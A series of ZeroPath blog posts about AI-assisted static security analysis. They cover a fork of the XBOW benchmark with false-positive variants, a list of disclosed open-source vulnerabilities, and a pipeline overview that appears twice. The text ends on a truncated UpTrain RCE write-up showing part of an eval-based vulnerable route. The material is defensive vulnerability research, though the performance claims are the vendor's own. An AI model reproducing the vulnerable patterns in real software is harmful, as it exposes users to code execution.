There have been several attempts at benchmarking bugfinding programs. However, before the advent of LLMs, projects like the OWASP benchmark were aimed towards testing specific abilities like correct control flow analysis instead of a broader capability to find security problems in realistic applications. It was simply not expected in 2015 that security tools would be able to differentiate test code from production code read comments and identifiers, understand auth, or infer deployment details of an application from things like Dockerfiles.

Yet nowadays, they can, which is why the ZeroPath team was excited to see that XBOW open-sourced their DAST benchmarks here. As the README claims, "Several external contractors were engaged in [their] development... with the intention of mirroring the variety of vulnerability classes typically encountered by our security team during their routine pen testing/bug bounty engagements." We were so excited we decided to fork it so that we could test major SAST vendors!

The good news is that we did very well, for a breakdown on the stats check out our blog post.

First: What was the XBOW Benchmark?

The original XBOW benchmark is a set of 104 toy applications, generally written in Python and PHP. Each of these apps includes at least one security problem. The applications are written in such a way that exploiting them presents a flag, like a CTF challenge; to confirm that the AI has exploited the challenge, it passes that flag back to the overseer, and the overseer marks that challenge as completed if the flag is correct.

XBOW also apparently compared their tool's performance on the benchmark with real-world performance by humans, and matched or exceeded the performance of real people. So there's no doubt that XBow has created a remarkable tool. Security problems in the XBOW benchmark even include standard issues like command injection and XSS, as well as business logic problems like IDOR. The last part is nice because auth and business logic issues are common finds in actual security assessments but haven't been built into any benchmarks until now.

Adding False Positives

So why fork it? Well, first, the XBOW benchmark only reports one summary statistic: the percentage of challenges finished. As anyone who's used a SAST offering knows, the primary problem with most application security scanners is not that they report nothing, it's that they report lots of incorrect findings or findings of no actual significance.

If you're not a CISO or an Appsec engineer, this problem might sound trivial. But most code does not contain security flaws, and so much like a test for a rare disease, a tool that invalidates 99% of potential issues will still mostly report garbage when run against a new, large codebase. So, in a sense, designing security benchmarks the way XBOW did - such that the findings it reports are unambiguous - sidesteps a key part of the problem, especially when you consider how difficult it is to get very high reliability out of LLMs.

A better benchmark would measure whether the tool is also reporting bugs that are not there. To fix this, instead of having the static analysis tool retrieve a flag, we took the same benchmarks for each of the 25 challenges and added a counterpart that provides a tricky patch. The tool is run on both the patched and unpatched challenges; if it reports a bug on the latter, its score is noted in the false positive section.

Removing Hints

On top of that, since Xbow develops a black-box security testing tool, they naturally don't expect it to have access to the code. This means the benchmark developers were free to include variable names and comments that referred to the problem the AI was supposed to find. Since we wanted to test white box scanners, we had to do our best to remove those 'hints' in order to present a fair comparison with the scanners that don't use LLMS. We also had to modify configuration files like Dockerfiles that a static analysis tool could read in order to understand the problem it was expected to find.

XBOW also includes 'challenge hints' that are designed to be consumed by humans or tools hacking the application. For example, in challenge '6', the description says:

A simple SQLi example with an allowlist filter of words to try to prevent exploitation.

On the one hand, these directions are common features of CTFs. On the other hand, what these benchmarks are supposed to measure is whether or not your tool can find bugs in the wild, without prompting. Giving 'tips' like this makes a test strictly less representative, and for ZeroPath's purposes, it also provides an unfair advantage to LLMS over legacy tools. So, we removed them entirely from the test; instead the static analysis tool is simply presented with the

Hints to Dynamic Testers

One thing we didn't expect to find when starting to do that was that the hints also leaked into the output of the toy web applications themselves. For example, XBEN-020-24, an SSRF challenge gives the following index to the bot, which contains the class of vulnerability in the title:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SSRF Demo</title>
</head>

...Removed for Brevity...

</html>

This also extended past conventional technical vulnerabilities and into broken authentication vulnerabilities. XBEN-069-24, a PHP application, labeled as a medium challenge containing an IDOR (and a privilege escalation), has the word IDOR plastered on every page accessible to the bot:

<title>User Profile | IDOR Eats</title>

Even in the context of dynamic testing, this gives an AI unfair advantage over traditional tools, making the benchmark an inaccurate representation of the tool's effectiveness in black-box penetration testing. We had removed some obvious symbols, renamed files containing the class of issue (including updating corresponding configuration and docker files), removed the benchmark.json and README file. However, many function names, route names, and variables remained that contained explicit references to vulnerabilities (e.g., routes like '/xss' or '/sqli').

We acknowledge that as an AI-powered SAST tool, ZeroPath could potentially have an advantage in processing these meaningful identifiers compared to traditional SAST tools, and with more time we would have removed them. However, we think this didn't significantly skew the results of our scans because:

1. The key evidence comes from our false positive testing: If ZeroPath was heavily relying on these identifier names to make determinations, we would have seen elevated false positive rates in the patched variants - which contained the same "suspicious" route and function names but with secure implementations. The fact that our false positive rate remained low indicates ZeroPath was doing legitimate semantic analysis of the code rather than being biased by these naming hints.

2. While we recommend future benchmark creators remove these identifiers entirely to create the most rigorous possible test environment, the correlation between names and actual vulnerabilities in real-world code is complex. Developers sometimes use security-related names precisely because they're implementing security controls, making naive reliance on such hints potentially counterproductive.

3. The benchmark results demonstrate ZeroPath's ability to accurately distinguish between vulnerable and secure implementations of the same functionality, even when similarly named. This suggests the core analysis is based on understanding code semantics rather than surface-level naming patterns.

Final Thoughts

Working with the XBOW benchmark brought to light some interesting challenges in evaluating security tools. Benchmarks are great, but they need to reflect the complexities of real-world applications to be truly useful. By removing the embedded hints and introducing false positives, we aimed to create a more realistic testing environment. This leveled the playing field between traditional SAST tools and AI-driven solutions like ZeroPath.

We were surprised to find hints leaking into dynamic testing, which showed us how even small details can skew results. It highlighted the importance of careful benchmark design, especially when assessing tools meant for black-box penetration testing.

In the end, this experience reinforced the idea that benchmarks need to be thoughtfully crafted to provide meaningful insights. We're excited about the progress and look forward to seeing how these tools continue to evolve in tackling the complexities of modern application security.

So what does this mean in terms of AIs' ability to do unsupervised security research? Since July 2024, ZeroPath is taking a novel approach combining deep program analysis with adversarial AI agents for validation. Our methodology has uncovered numerous critical vulnerabilities in production systems, including several that traditional Static Application Security Testing (SAST) tools were ill-equipped to find. This post provides a technical deep-dive into our research methodology and a living summary of the bugs found in popular open-source tools.

Summary of Vulnerabilities Discovered

Note: This list represents only a portion of our findings. Many vulnerabilities remain undisclosed due to ongoing remediation efforts or pending responsible disclosure processes. We will update this list as new issues are disclosed over the next few months.

For comprehensive technical analyses of some these vulnerabilities, please refer to our write-ups:

• Uptrain RCE: Project Creation to RCE
• Clone-Voice Command Injection: From Voice Processing to Shell Access
• Fonoster Voice Server LFI: Breaking Audio File Boundaries
• LibrePhotos Arbitrary File Upload: From Upload to RCE

Vulnerability Distribution

pie title Vulnerability Types
    "Authorization Flaws (53%)" : 10
    "Directory Traversal/LFI (21%)" : 4
    "Remote Code Execution (11%)" : 2
    "File Upload Issues (5%)" : 1
    "Authentication Bypass (5%)" : 1
    "Command Injection (5%)" : 1

1. Authorization Flaws

• Prevalence: 53% of the vulnerabilities (10 instances)

• Common Issues:

  • Missing object-level access controls
  • Insufficient tenant isolation
  • Broken access control in API endpoints
  • IDOR vulnerabilities in resource management
  • Unauthorized Redis access and configuration exposure

• Impact: Unauthorized access, data leakage, and resource manipulation across tenant boundaries.

• Examples:

  • RAGFlow's multiple IDOR vulnerabilities allow manipulation of conversations, canvases, knowledge bases, and API keys belonging to other users
  • Unauthorized access to Redis instances due to missing access controls

2. File Operation Issues

• Prevalence: 26% of the vulnerabilities (5 instances)

• Common Issues:

  • Directory traversal in configuration loading
  • Local file inclusion via path manipulation
  • Unsafe file handling in upload features
  • Insufficient path validation and normalization

• Impact: Unauthorized file access, sensitive data exposure, and potential system compromise.

• Examples:

  • E2nest's LFI via model path traversal (CVE-2024-9301)
  • DB-GPT's directory traversal in backup paths
  • LogAI's broken path traversal protection

3. Code Execution Vulnerabilities

• Prevalence: 16% of the vulnerabilities (3 instances)

• Common Issues:

  • Unsafe pickle deserialization
  • Command injection in file processing
  • Unsanitized input in system commands

• Impact: Remote code execution, system command execution, and potential full system compromise.

• Examples:

  • Monaco's RCE via pickle deserialization (CVE-2024-48946)
  • Clone-Voice's command injection via ffmpeg metadata
  • Uptrain's RCE via project creation

Our Technical Methodology

TL;DR - most of these bugs are simple and could have been found with a code review from a security researcher or, in some cases, scanners. The historical issue, however, with automating the discovery of these bugs is that traditional SAST tools often rely on pattern matching and predefined rules, which can miss complex vulnerabilities that do not fit known patterns (i.e. business logic / broken authentication flaws or non-traditional sinks such as from dependencies). They also tend to generate a high rate of false positives, overwhelming security teams and reducing efficiency.

The beauty of LLMs is that they can reduce ambiguity in most of the situations that previously caused scanners to be either unusable or produce few findings when mass-scanning open source repositories like this. For instance, you can prevent:

• Alerting on test code
• Alerting on CLI only administrators would have access to
• Alerting on injection bugs whose "sinks" (i.e. injection sources) aren't able to be controlled by attackers in practice
• Alerting on injection bugs that include controls that make an attack possible (for instance, limiting the input to valid UUIDs)

To do this well, we combine deep program analysis with an adversarial agents that test the plausibility of vulnerabilties at each step. The solution ends up mirroring the traditional phases of a pentest - recon, analysis, exploitation (and remediation which is not mentioned in this post).

Note: Most sections have been adopted from our how it works post, for more information about patching and remediation please refer to it.

Stage 1: Application Identification

ZeroPath starts by using AI agents to investigate what applications are inside a repository and gather some basic data about how they work. This step is crucial when dealing with mono-repositories or repositories containing multiple services, as often happens with microservice architectures. Specifically, we:

1. Identify directory boundaries for each application
2. Generate application descriptions and metadata, noting details like the auth procedure and tech stack
3. Collect additional contextual information helpful for subsequent analysis stages

This process helps ensure that ZeroPath has enough information about the apps to discriminate between relevant and irrelevant security issues.

Stage 2: AST Generation and Indexing

To illustrate the following steps, we will be using a basic Django application that provides fundamental functionality for:

1. User management (creating and listing users)
2. Content management (creating and listing posts)
3. User authentication (login and logout capabilities)

Below is an example of the method to retrieve users from the application:

class UserViewSet(View):
    def get(self, request):
        users = User.objects.all()
        return render(request, 'user_list.html', {'users': users})

That's how it's represented as plain text, but as with most languages this is broken down into an intermediate representation before compilation. Using tree-sitter we can convert the method definition into an AST that has standard names for things like "function_definition", "body", and etc.:

(function_definition
  name: (identifier)  ; get
  parameters: (parameters
    (identifier)  ; self
    (identifier))  ; request
  body: (block
    (expression_statement
      (assignment
        left: (identifier)  ; users
        right: (call
          function: (attribute
            object: (attribute
              object: (identifier)  ; User
              attribute: (identifier))  ; objects
            attribute: (identifier))  ; all
          arguments: (argument_list))))
    (return_statement
      (call
        function: (identifier)  ; render
        arguments: (argument_list
          (identifier)  ; request
          (string)  ; 'user_list.html'
          (dictionary
            (pair
              key: (string)  ; 'users'
              value: (identifier))))))))  ; users

This AST representation breaks down the get_users function, showing its structure, parameters, and the operations it performs. Each node in the tree is represented by parentheses, with the node type followed by its children. Leaf nodes (like identifiers and strings) are represented directly. Comments after semicolons provide additional information or clarification about the nodes.

This format allows for a detailed, hierarchical view of the code structure, making it easier to analyze. In particular, from the AST we create a call graph, which is a map of the program's function invocations. The call graph facilitates navigation through the codebase during vulnerability analysis, and also provides a comprehensive summary of the application's structure and behavior. This holistic understanding is key to our tool's ability to detect complex, context-dependent vulnerabilities, and it looks something like this:

graph TD
    A[WSGI Handler: process_request] --> B[URL Dispatcher: resolve]
    B --> C1[UserViewSet: dispatch]
    B --> C2[PostViewSet: dispatch]
    B --> C3[LoginView: dispatch]
    B --> C4[LogoutView: dispatch]

    C1 --> D1[UserViewSet: list]
    C1 --> D2[UserViewSet: create]
    C2 --> D3[PostViewSet: list]
    C2 --> D4[PostViewSet: create]
    C3 --> D5[LoginView: post]
    C4 --> D6[LogoutView: post]

    D1 & D2 --> E1[User.objects.all/create]
    D3 & D4 --> E2[Post.objects.all/create]
    D5 --> E3[authenticate]
    D5 --> E4[login]
    D6 --> E5[logout]

    D1 & D3 --> F1[render]
    D2 & D4 --> F2[render]

    F1 & F2 --> G[context_processor]

    D1 & D2 & D3 & D4 & D5 & D6 --> H[HttpResponse]

Stage 3: Graph Enrichment

After generating the AST, we enrich the graph with contextual information by identifying features like endpoints (exposed functions or URLs that can be accessed externally) and assigning attributes to each node. These attributes can be details such as request paths, HTTP methods, and authentication and authorization mechanisms. For example, a node representing a login function might be enriched with attributes indicating it accepts POST requests, and implements rate limiting. A key aspect of this enrichment is recognizing how middleware and other security controls are implemented across the application. This process transforms the basic AST into a more comprehensive representation of the application's structure and behavior. While the initial AST shows the structure of individual functions, this enriched call graph demonstrates how these functions interact and what security measures are in place throughout the application flow.

graph TD
    A[Django WSGI Handler] -->|Process Request| B[URL Dispatcher]

    %% Middleware Chain
    A -->|Pre-process| M1[Security Middleware]
    M1 -->|HTTPS Redirect| M2[Session Middleware]
    M2 -->|Manage Sessions| M3[Authentication Middleware]
    M3 -->|Authenticate User| M4[CSRF Protection Middleware]
    M4 -->|CSRF Validation| B

    %% URL Patterns and Views
    B -->|/api/users/| C1[UserViewSet]
    B -->|/api/posts/| C2[PostViewSet]
    B -->|/auth/login/| C3[LoginView]
    B -->|/auth/logout/| C4[LogoutView]

    %% View Methods
    C1 -->|GET| D1[List Users]
    C1 -->|POST| D2[Create User]
    C2 -->|GET| D3[List Posts]
    C2 -->|POST| D4[Create Post]
    C3 -->|POST| D5[Authenticate User]
    C4 -->|POST| D6[End Session]

    %% Database Interactions
    D1 & D2 -->|Query/Update| E1[User Model]
    D3 & D4 -->|Query/Update| E2[Post Model]
    E1 & E2 -->|ORM| F[Database]

    %% Template Rendering
    D1 & D3 -->|Render| G1[List Template]
    D2 & D4 -->|Render| G2[Detail Template]
    G1 & G2 -->|Apply| H[Context Processors]

    %% Static Files and Caching
    I[Static File Handler] -->|Serve| J[Static Files]
    K[Cache Middleware] -->|Cache Responses| A

    %% Response Flow
    D1 & D2 & D3 & D4 & D5 & D6 -->|Generate Response| L[Response Object]
    L -->|Process Response| M4
    M4 -->|Process Response| M3
    M3 -->|Process Response| M2
    M2 -->|Process Response| M1
    M1 -->|Process Response| A

    %% Authentication Flow
    D5 -->|Success| N[Create Session]
    D5 -->|Failure| O[Error Response]
    D6 -->|Logout| P[Delete Session]

    classDef middleware fill:#f9f,stroke:#333,stroke-width:2px;
    class M1,M2,M3,M4,I,K middleware;

Stage 4: Vulnerability Discovery and Validation

Finally we get to the most important part, using the call graph to discover vulnerabilities. In our application security analysis, vulnerabilities are bucketed into three main types:

1. Technical Vulnerabilities: These encompass implementation-specific security flaws such as SQL Injection (SQLI), XML external entity (XXE) injection, Cross-site Scripting (XSS), Cross-site Request Forgery (CSRF), Leaking of secrets, and Server-side Request Forgery (SSRF).

2. Business Logic Flaws: These vulnerabilities arise from flaws in the application's logic. Examples include:

   • Price manipulation in e-commerce systems
   • Exploitation of coupon systems leading to incorrect pricing
   • Bypassing intended workflow sequences
   • Lack of rate limiting especially when interacting with external APIs (leading to excessive charges from providers)

3. Authentication/Authorization Issues: These stem from improper implementation of user authentication or access control mechanisms. Common subtypes include:

   • Insecure Direct Object Reference (IDOR)
   • Missing Function Level Access Control
   • Broken Session Management

Each category requires distinct analysis techniques. Technical vulnerabilities often involve pattern matching and taint analysis, business logic flaws require understanding of intended application behavior, and authentication/authorization issues necessitate comprehensive flow analysis of user sessions and permissions. Some ways we find these bugs:

• Static Rules: ZeroPath has a large set of static rules that detail vulnerable code patterns, which are then used to semantically search if a given codebase uses them. Using this we are able to detect many existing classes of issues.
• Threat Modeling: Having ZeroPath comes up with attack scenario and verifies them by performing rigorous investigations of the code.
• Software Composition Analysis (SCA): ZeroPath actively monitors dependencies used within the application for known vulnerabilities, and see if these dependencies' problems are exploitable from the outside.
• Secret Scanning and Validation: ZeroPath also scans for secrets and performs validation on the secrets to ensure that they're valid and provides information about each discovered secret to help quickly rotate and enforce best practices.

Our methodology for investigating business logic flaws and broken authentication vulnerabilities combines two AI techniques: Tree-of-Thoughts (ToT) and an adaptation of the ReAct framework.

ToT enables multi-path reasoning, intermediate step evaluation, and outcome ranking. This improves our ability to explore complex vulnerability scenarios. The ReAct-inspired component enforces structured tool usage with explicit action justification, enhancing the rigor of our investigative process.

By integrating these techniques, we've developed a framework that allows for comprehensive vulnerability assessment. ToT facilitates thorough scenario exploration, while the ReAct adaptation ensures methodical tool application. This approach has proven particularly effective in addressing the nuanced challenges presented by business logic and authentication vulnerabilities.

To further enhance our validation process and ensure the exploitability of identified vulnerabilities, ZeroPath employs a Monte Carlo Tree Self-refine (MCTSr) algorithm. This approach, inspired by recent advancements in AI problem-solving, allows us to efficiently explore and verify complex technical attack vectors.

Monte Carlo Tree Self-Refine (MCTSr)

Our MCTSr implementation builds upon research from Shanghai Artificial Intelligence Laboratory, Fudan University, and collaborating institutions. Their work on solving International Mathematical Olympiad problems using Monte Carlo Tree Search and self-refinement techniques provided a foundation that we've adapted for cybersecurity applications. We've modified this approach to navigate the decision trees involved in verifying security vulnerabilities, allowing both for more efficient exploration of potential attack vectors and fewer false positives.

The most important part of using MCTSr is defining a "win function". As a static analysis tool, our win function is implemented by an LLM that determines the chances that a hypothesized attack could work, and the severity of the problem.

The particular verification agent we use is different for problems like SSTI, SQLi, XSS, and business logic issues. Generally, an agent is designed to pull in relevant information from previous stages, and consider all of the controls that could make an attack impractical. If the LLM investigator determines that a given attack is above a given practicality threshold, it's sent for the next stage, which is patch generation and tweaking.

Conclusion

AI-driven vulnerability detection is moving fast. While some are just now jumping into this field, it's been developing for a while. Since July 2024, we've been exploring how deep program analysis combined with adversarial AI agents can uncover critical bugs that might be overlooked by traditional tools.

What's intriguing is that many of these vulnerabilities are pretty straightforward—they could've been spotted with a solid code review or standard scanning tools. But conventional methods often miss them because they don't fit neatly into known patterns. That's where AI comes in, helping us catch issues that might slip through the cracks.

The tool performs pre-merge scanning, analyzing code before it's merged into the main codebase. Pull request (PR) scans typically complete in under a minute, enabling early detection of security issues without impeding development workflows.

ZeroPath currently supports JavaScript, Python, Go, Java, C#, and PHP. It uses the tree-sitter library for Abstract Syntax Tree (AST) generation, allowing rapid integration of additional or custom language grammars.

Given the prevalence of AI in security tools, we prioritize transparency. The following sections are a rough overview of ZeroPath's functionality and present research findings.

ZeroPath Architecture and Workflow

ZeroPath's vulnerability detection process consists of six key stages, each designed to contribute to the accuracy of its findings. The following section breaks down these stages, providing a technical overview of how the system operates to identify security issues in code bases.

Triggering a Scan

ZeroPath scans can be initiated through two primary methods:

1. Scheduled/Manual Scans

   These are initiated through the dashboard or otherwise occur at predefined intervals. They perform a more comprehensive analysis of the entire codebase, designed both to catch vulnerabilities in code that may have bypassed PR checks (e.g., direct pushes to the main branch) and refresh the intensive parts of analysis. This document describes what happens when you do a manual scan.

2. Pull Request (PR) Scans

   PR scans are triggered automatically when a pull request is created on your repository. They are implemented as a GitHub check, which avoids using GitHub Actions minutes, and focus on analyzing only the modified code. To optimize performance, the AST from previous scans is cached, and PR scans complete in around 30 seconds on average. Only the nodes corresponding to updated code are re-parsed and integrated into the existing AST. This incremental updating approach significantly reduces processing time while maintaining high accuracy, resulting in efficient and precise scans.

Application Identification

ZeroPath starts by using AI agents to investigate what applications are inside your repository and gather some basic data about how they work. This step is crucial when dealing with mono-repositories or repositories containing multiple services, as often happens with microservice architectures. Specifically, we:

1. Identify directory boundaries for each application
2. Generate application descriptions and metadata, noting details like the auth procedure and tech stack
3. Collect additional contextual information helpful for subsequent analysis stages

This process helps ensure that ZeroPath has enough information about your apps to discriminate between relevant and irrelevant security issues.

AST Generation and Indexing

To illustrate the following steps, we will be using a basic Django application that provides fundamental functionality for:

1. User management (creating and listing users)
2. Content management (creating and listing posts)
3. User authentication (login and logout capabilities)

Below is an example of the method to retrieve users from the application:

class UserViewSet(View):
    def get(self, request):
        users = User.objects.all()
        return render(request, 'user_list.html', {'users': users})

That's how it's represented as plain text, but as with most languages this is broken down into an intermediate representation before compilation. Using tree-sitter we can convert the method definition into an AST that has standard names for things like "function_definition", "body", and etc.:

(function_definition
  name: (identifier)  ; get
  parameters: (parameters
    (identifier)  ; self
    (identifier))  ; request
  body: (block
    (expression_statement
      (assignment
        left: (identifier)  ; users
        right: (call
          function: (attribute
            object: (attribute
              object: (identifier)  ; User
              attribute: (identifier))  ; objects
            attribute: (identifier))  ; all
          arguments: (argument_list))))
    (return_statement
      (call
        function: (identifier)  ; render
        arguments: (argument_list
          (identifier)  ; request
          (string)  ; 'user_list.html'
          (dictionary
            (pair
              key: (string)  ; 'users'
              value: (identifier))))))))  ; users

This AST representation breaks down the get_users function, showing its structure, parameters, and the operations it performs. Each node in the tree is represented by parentheses, with the node type followed by its children. Leaf nodes (like identifiers and strings) are represented directly. Comments after semicolons provide additional information or clarification about the nodes.

This format allows for a detailed, hierarchical view of the code structure, making it easier to analyze. In particular, from the AST we create a call graph, which is a map of the program's function invocations. The call graph facilitates navigation through the codebase during vulnerability analysis, and also provides a comprehensive summary of the application's structure and behavior. This holistic understanding is key to our tool's ability to detect complex, context-dependent vulnerabilities, and it looks something like this:

graph TD
    A[WSGI Handler: process_request] --> B[URL Dispatcher: resolve]
    B --> C1[UserViewSet: dispatch]
    B --> C2[PostViewSet: dispatch]
    B --> C3[LoginView: dispatch]
    B --> C4[LogoutView: dispatch]

    C1 --> D1[UserViewSet: list]
    C1 --> D2[UserViewSet: create]
    C2 --> D3[PostViewSet: list]
    C2 --> D4[PostViewSet: create]
    C3 --> D5[LoginView: post]
    C4 --> D6[LogoutView: post]

    D1 & D2 --> E1[User.objects.all/create]
    D3 & D4 --> E2[Post.objects.all/create]
    D5 --> E3[authenticate]
    D5 --> E4[login]
    D6 --> E5[logout]

    D1 & D3 --> F1[render]
    D2 & D4 --> F2[render]

    F1 & F2 --> G[context_processor]

    D1 & D2 & D3 & D4 & D5 & D6 --> H[HttpResponse]

Graph Enrichment

After generating the AST, we enrich the graph with contextual information by identifying features like endpoints (exposed functions or URLs that can be accessed externally) and assigning attributes to each node. These attributes can be details such as request paths, HTTP methods, and authentication and authorization mechanisms. For example, a node representing a login function might be enriched with attributes indicating it accepts POST requests, and implements rate limiting. A key aspect of this enrichment is recognizing how middleware and other security controls are implemented across the application. This process transforms the basic AST into a more comprehensive representation of the application's structure and behavior. While the initial AST shows the structure of individual functions, this enriched call graph demonstrates how these functions interact and what security measures are in place throughout the application flow.

graph TD
    A[Django WSGI Handler] -->|Process Request| B[URL Dispatcher]

    %% Middleware Chain
    A -->|Pre-process| M1[Security Middleware]
    M1 -->|HTTPS Redirect| M2[Session Middleware]
    M2 -->|Manage Sessions| M3[Authentication Middleware]
    M3 -->|Authenticate User| M4[CSRF Protection Middleware]
    M4 -->|CSRF Validation| B

    %% URL Patterns and Views
    B -->|/api/users/| C1[UserViewSet]
    B -->|/api/posts/| C2[PostViewSet]
    B -->|/auth/login/| C3[LoginView]
    B -->|/auth/logout/| C4[LogoutView]

    %% View Methods
    C1 -->|GET| D1[List Users]
    C1 -->|POST| D2[Create User]
    C2 -->|GET| D3[List Posts]
    C2 -->|POST| D4[Create Post]
    C3 -->|POST| D5[Authenticate User]
    C4 -->|POST| D6[End Session]

    %% Database Interactions
    D1 & D2 -->|Query/Update| E1[User Model]
    D3 & D4 -->|Query/Update| E2[Post Model]
    E1 & E2 -->|ORM| F[Database]

    %% Template Rendering
    D1 & D3 -->|Render| G1[List Template]
    D2 & D4 -->|Render| G2[Detail Template]
    G1 & G2 -->|Apply| H[Context Processors]

    %% Static Files and Caching
    I[Static File Handler] -->|Serve| J[Static Files]
    K[Cache Middleware] -->|Cache Responses| A

    %% Response Flow
    D1 & D2 & D3 & D4 & D5 & D6 -->|Generate Response| L[Response Object]
    L -->|Process Response| M4
    M4 -->|Process Response| M3
    M3 -->|Process Response| M2
    M2 -->|Process Response| M1
    M1 -->|Process Response| A

    %% Authentication Flow
    D5 -->|Success| N[Create Session]
    D5 -->|Failure| O[Error Response]
    D6 -->|Logout| P[Delete Session]

    classDef middleware fill:#f9f,stroke:#333,stroke-width:2px;
    class M1,M2,M3,M4,I,K middleware;

Vulnerability Discovery and Validation

Finally we get to the most important part, using the call graph to discover vulnerabilities. In our application security analysis, vulnerabilities are bucketed into three main types:

1. Technical Vulnerabilities: These encompass implementation-specific security flaws such as SQL Injection (SQLI), XML external entity (XXE) injection, Cross-site Scripting (XSS), Cross-site Request Forgery (CSRF), Leaking of secrets, and Server-side Request Forgery (SSRF).

2. Business Logic Flaws: These vulnerabilities arise from flaws in the application's logic. Examples include:

   • Price manipulation in e-commerce systems
   • Exploitation of coupon systems leading to incorrect pricing
   • Bypassing intended workflow sequences
   • Lack of rate limiting especially when interacting with external APIs (leading to excessive charges from providers)

3. Authentication/Authorization Issues: These stem from improper implementation of user authentication or access control mechanisms. Common subtypes include:

   • Insecure Direct Object Reference (IDOR)
   • Missing Function Level Access Control
   • Broken Session Management

Each category requires distinct analysis techniques. Technical vulnerabilities often involve pattern matching and taint analysis, business logic flaws require understanding of intended application behavior, and authentication/authorization issues necessitate comprehensive flow analysis of user sessions and permissions. Some ways we find these bugs:

• Static Rules: ZeroPath has a large set of static rules that detail vulnerable code patterns, which are then used to semantically search if a given codebase uses them. Using this we are able to detect many existing classes of issues.
• Threat Modeling: Having ZeroPath comes up with attack scenario and verifies them by performing rigorous investigations of the code.
• Software Composition Analysis (SCA): ZeroPath actively monitors dependencies used within your application for known vulnerabilities, and see if these dependencies' problems are exploitable from the outside.
• Secret Scanning and Validation: ZeroPath also scans for secrets and performs validation on the secrets to ensure that they're valid and provides information about each discovered secret to help quickly rotate and enforce best practices.

Our methodology for investigating business logic flaws and broken authentication vulnerabilities combines two AI techniques: Tree-of-Thoughts (ToT) and an adaptation of the ReAct framework.

ToT enables multi-path reasoning, intermediate step evaluation, and outcome ranking. This improves our ability to explore complex vulnerability scenarios. The ReAct-inspired component enforces structured tool usage with explicit action justification, enhancing the rigor of our investigative process.

By integrating these techniques, we've developed a framework that allows for comprehensive vulnerability assessment. ToT facilitates thorough scenario exploration, while the ReAct adaptation ensures methodical tool application. This approach has proven particularly effective in addressing the nuanced challenges presented by business logic and authentication vulnerabilities.

To further enhance our validation process and ensure the exploitability of identified vulnerabilities, ZeroPath employs a Monte Carlo Tree Self-refine (MCTSr) algorithm. This approach, inspired by recent advancements in AI problem-solving, allows us to efficiently explore and verify complex technical attack vectors.

Monte Carlo Tree Self-Refine (MCTSr)

Our MCTSr implementation builds upon research from Shanghai Artificial Intelligence Laboratory, Fudan University, and collaborating institutions. Their work on solving International Mathematical Olympiad problems using Monte Carlo Tree Search and self-refinement techniques provided a foundation that we've adapted for cybersecurity applications. We've modified this approach to navigate the decision trees involved in verifying security vulnerabilities, allowing both for more efficient exploration of potential attack vectors and fewer false positives.

The most important part of using MCTSr is defining a "win function". As a static analysis tool, our win function is implemented by an LLM that determines the chances that a hypothesized attack could work, and the severity of the problem.

The particular verification agent we use is different for problems like SSTI, SQLi, XSS, and business logic issues. Generally, an agent is designed to pull in relevant information from previous stages, and consider all of the controls that could make an attack impractical. If the LLM investigator determines that a given attack is above a given practicality threshold, it's sent for the next stage, which is patch generation and tweaking.

Patch Generation, Tweaking, and Integration

After discovering your vulnerability, we do a first pass check to see if we can fix it safely. Some vulnerabilities, like hardcoded secrets and SSRF, often require redesign and are marked unpatchable.

For issues deemed patchable, we leverage the data collected from earlier stages, leaning towards existing sanitization functions and minimal code modifications. Our validation process verifies vulnerability remediation, ensures syntactic correctness and functional preservation, and rescans to prevent new vulnerabilities. Patches failing validation undergo refinement.

Deployment methods vary: manual scans allow direct user approval and application via pull requests, while PR scans automatically create pull requests for fixes.

graph LR
    A[Patch Generated] --> B{Check Patch}
    B --> |Vulnerability Fixed| C{Check Syntax}
    C --> |Syntax Correct| D{Check Functionality}
    D --> |Functionality Unchanged| E{Rescan for New Vulnerabilities}
    E --> |No New Vulnerabilities| F{Determine Scan Type}
    F --> |Manual Scan| G[Enable User to Apply Patch]
    G --> H[Create PR for User to Merge]
    F --> |PR Scan| I[Create PR to Fix Vulnerability Automatically]
    B --> |Vulnerability Not Fixed| J[Send Back to Pipeline]
    C --> |Syntax Incorrect| J
    D --> |Functionality Changed| J
    E --> |New Vulnerabilities Found| J
    J --> A

This code generation system supports multi-file, codebase-wide changes, incorporating techniques from AutoCodeRover. It integrates with PRs, allowing developers to refine patches using natural language commands. The system can implement complex modifications across multiple files, streamlining the development process without requiring manual coding for each adjustment.

Security Insights and Team Collaboration

Our tool also provides an (optional) centralized dashboard for managing application security across your organizations. It supports multi-user repository sharing, and provides visualization tools for security posture assessment and trend analysis.

Users can access repository-specific views with customizable filtering options. This feature facilitates the prioritization of high-severity issues, enabling teams to focus on the most critical security concerns within their codebase. The platform integrates with GitHub and GitLab for seamless version control interaction, and also supports direct code base uploads via zip files for projects using other version control systems or none at all.

Public Vulnerabilities and Research

The ZeroPath team regularly uses the tool to find new vulnerabilities in open-source projects. So far we've disclosed 11 significant vulnerabilities, including:

• Local file inclusion in e2nest, a Netflix application used internally
• Various missing authentication bugs leading to access to user data in RAGFlow
• Broken and missing authentication flaws in LibrePhotos
• Arbitrary file upload in Libre Photos
• Remote code execution in Uptrain
• Command injection in Clone-Voice
• Local file inclusion in Fonoster Voice Server

For a comprehensive list of our reported issues, visit our Security Wall of Fame page. Our team is actively working on responsibly disclosing its current batch of vulnerabilities, reinforcing our commitment to improving security across the open-source ecosystem.

Try ZeroPath

ZeroPath is now publicly available, with 40+ companies of various sizes already using our solution across finance, healthcare, technology, and other sectors.

Ready to see ZeroPath in action? Schedule a personalized demo to:

• Explore key features and capabilities
• Discuss your specific use cases
• Get implementation and scaling insights

By Nathan Hrncirik, Co-Founder and Security Researcher at ZeroPath

ZeroPath security researchers discovered a critical Remote Code Execution (RCE) vulnerability in UpTrain, a popular open-source platform for evaluating, experimenting, monitoring, and testing of LLM applications. This vulnerability, when chained with a Cross-Site Request Forgery (CSRF) attack, allows malicious actors to execute arbitrary code on UpTrain instances, even when running locally.

Proof of concept demo

Vulnerability Discovery + Details

ZeroPath's vulnerability scanner initially flagged a concerning pattern in the UpTrain codebase as a valid vulnerability. Specifically, it highlighted the use of Python's eval() function in conjunction with user-supplied input.

Further investigation revealed that the vulnerability was present in several routes within the uptrain/dashboard/backend/app.py file. The /create_project, /new_run, and /add_prompts routes were identified as vulnerable. Here's the vulnerable code snippet for the /create_project route:

@router_public.post("/create_project")
async def create_project(
    model: str = Form(...),
    project_name: str = Form(...),
    dataset_name: str = Form(...),
    checks: list = Form(...),
